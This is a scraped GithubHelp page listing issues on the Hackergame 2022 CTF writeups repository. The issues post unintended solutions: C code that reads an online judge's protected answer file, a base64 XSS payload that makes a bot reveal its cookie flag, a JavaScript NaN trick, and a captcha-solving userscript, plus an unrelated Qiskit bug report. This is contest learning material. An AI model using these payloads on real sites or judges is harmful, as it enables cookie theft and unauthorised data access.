GithubHelp home page GithubHelp logo

ustc-hackergame / hackergame2022-writeups Goto Github PK

View Code? Open in Web Editor NEW
305.0 305.0 55.0 263.36 MB

Hackergame 2022 的官方与非官方题解

License: Other

Dockerfile 0.14% PHP 64.49% HTML 0.92% JavaScript 7.31% CSS 2.24% Less 1.34% Shell 0.16% C++ 4.54% C 2.91% Assembly 1.39% Makefile 0.09% Python 7.72% Jupyter Notebook 5.88% Go 0.05% Verilog 0.48% Java 0.34% AutoHotkey 0.01% Solidity 0.01%

hackergame2022-writeups's People

Contributors

atxy-blip avatar bbleae avatar bc-li avatar c0ur1er avatar cubercsl avatar earthcompass avatar galaxysnail avatar gwdx avatar juliandroske avatar kxxt avatar liuly0322 avatar lxdlam avatar lyq1996 avatar makeding avatar mariodon avatar maxchang3 avatar mufanc avatar panedioic avatar rivance avatar roarcannotprogramming avatar shiokoto avatar supersodasea avatar tanixlu avatar taoky avatar volltin avatar wlt233 avatar x-nobreak-j-nobreak-p avatar xtexchooser avatar yanwq-monad avatar yezhiyi9670 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

hackergame2022-writeups's Issues

“安全的在线测评”第一问的非预期解:直接读取 `static.out` 的内容

出题人在打包 docker image 时把 data/ 目录用 COPY 加入了 image 中,并且设置目录拥有者为 judger,目录的权限是 766。

online_judge.py 中预期使用 os.makedir() 来设置 data 目录的权限为 700,但是 os.makedir() 不改变已存在的目录的权限,见 python 3.11 文档 os.makedirs。所以 runner 用户可以读取 data 中的内容。

static.out 是其他用户可读的。所以有下面的非预期解。

#include <stdio.h>
#include <stdlib.h>

// static_data_path
char *sdata_input_path = "./data/static.in";
char *sdata_output_path = "./data/static.out";

const int LEN = 2048;

int main() {
    char *lines[2];
    size_t ns[2];
    FILE *fp = fopen(sdata_output_path, "r");
    if (fp == NULL) {
        printf("failed to read static output");
        exit(1);
    }
    // read and show the 2 prime numbers.
    getline(&lines[0], &ns[0], fp);
    printf("%s", lines[0]);
    getline(&lines[1], &ns[0], fp);
    printf("%s", lines[1]);

    free(lines[0]);
    free(lines[1]);
    fclose(fp);
    return 0;
}

微积分计算小练习 非预期

直接alert(document.cookie)selenium就把flag打出来了。

Please submit your quiz URL:
> http://202.38.93.111:10056/share?result=MDo8aW1nIHNyYz14IG9uZXJyb3I9ImFsZXJ0KGRvY3VtZW50LmNvb2tpZSkiPg==
Your URL converted to http://web/share?result=MDo8aW1nIHNyYz14IG9uZXJyb3I9ImFsZXJ0KGRvY3VtZW50LmNvb2tpZSkiPg==
 I am using Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.119 Safari/537.36
- Logining...
 Putting secret flag...
- Now browsing your quiz result...
ERROR <class 'selenium.common.exceptions.UnexpectedAlertPresentException'>
selenium.common.exceptions.UnexpectedAlertPresentException: Alert Text: flag=flag{xS5_1OI_is_N0t_SOHARD_9692b1a93e}
Message: unexpected alert open: {Alert text : flag=flag{xS5_1OI_is_N0t_SOHARD_9692b1a93e}}
  (Session info: headless chrome=106.0.5249.119)
Stacktrace:
#0 0x55be02e75d53 <unknown>
#1 0x55be02c62786 <unknown>
#2 0x55be02cd6636 <unknown>

Unused classical register plus addition of extra one with `measure_all`

Environment

  • qiskit.version: 0.45.2
  • Python version: 3.10.12
  • Operating system: Ubuntu 20.04

What is happening?

In the Python file code.py the qc.measure_all() call creates a new classical register and does not use the one already provided during initialization via QuantumCircuit(129,128).

How can we reproduce the issue?

I demonstrate the issue at a smaller scale, becasue I cannot simulate such a large circuit, but the issue is even more important when the register allocated are bigger. Run the following code in the Python file:

from qiskit import QuantumCircuit, Aer

circuit = QuantumCircuit(5, 5)
circuit.x(0)
circuit.x(4)
circuit.measure_all()  # <-- this will create a new classical register

sim = Aer.get_backend('qasm_simulator')
counts = sim.run(circuit).result().get_counts()
print(counts)  # <-- you can see the output here

The output will be {'10001 00000': 1024}. There are double the number of bits in the output, because the classical register is not used.

What should happen?

I would have expected to use the classical register already provided during initialization.

Any suggestions?

What about using the add_bits=False flag in the measure_all method to reuse the existing classical register? Here is the suggested version:

qc.measure_all(add_bits=False)

Thanks in advance, I wish you a happy and productive day.

Unexpected solution for "猜数字"

This is mentioned in a group chat

On the page http://202.38.93.111:18000/ , open console and call functions from the script will automatically gives correct flag:
image

And will trigger the page to reload and give these results:
image

The reason behind this is about how js handle undefined, in functionchange(value) we have:

function change(value) {
    range[1] = Math.round(parseFloat(value) * 1000000)
    document.getElementById('submit').disabled = !(range[1] >= 0 && range[1] <= 1000000)
}

Here, calling parseFloat(undefined) will return NaN instead of triggering an error:
image

And by accident(kind of?), Javascript and Java share the identical naming for NaN, the POST payload triggered is shown as:
image

Thus giving the correct flag.

Solution for Xcaptcha (tampermonkey)

create a tampermonkey script and enable it.

// default settings...
// ...
// @match        http://202.38.93.111:10047/xcaptcha
// ...

(function() {
    'use strict';

    // Your code here...
    let btn = document.getElementById("submit")
    
    // calsulate the first one
    let nums = document.querySelector("body > div > form > div:nth-child(1) > label").innerHTML.split(" ")[0].split("+")
    let sum = (BigInt(nums[0])+BigInt(nums[1])).toString()
    document.querySelector("#captcha1").value=sum

    // second
    nums = document.querySelector("body > div > form > div:nth-child(2) > label").innerHTML.split(" ")[0].split("+")
    sum = (BigInt(nums[0])+BigInt(nums[1])).toString()
    document.querySelector("#captcha2").value=sum

    // third
    nums = document.querySelector("body > div > form > div:nth-child(3) > label").innerHTML.split(" ")[0].split("+")
    sum = (BigInt(nums[0])+BigInt(nums[1])).toString()
    document.querySelector("#captcha3").value=sum

    btn.click()

})();

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.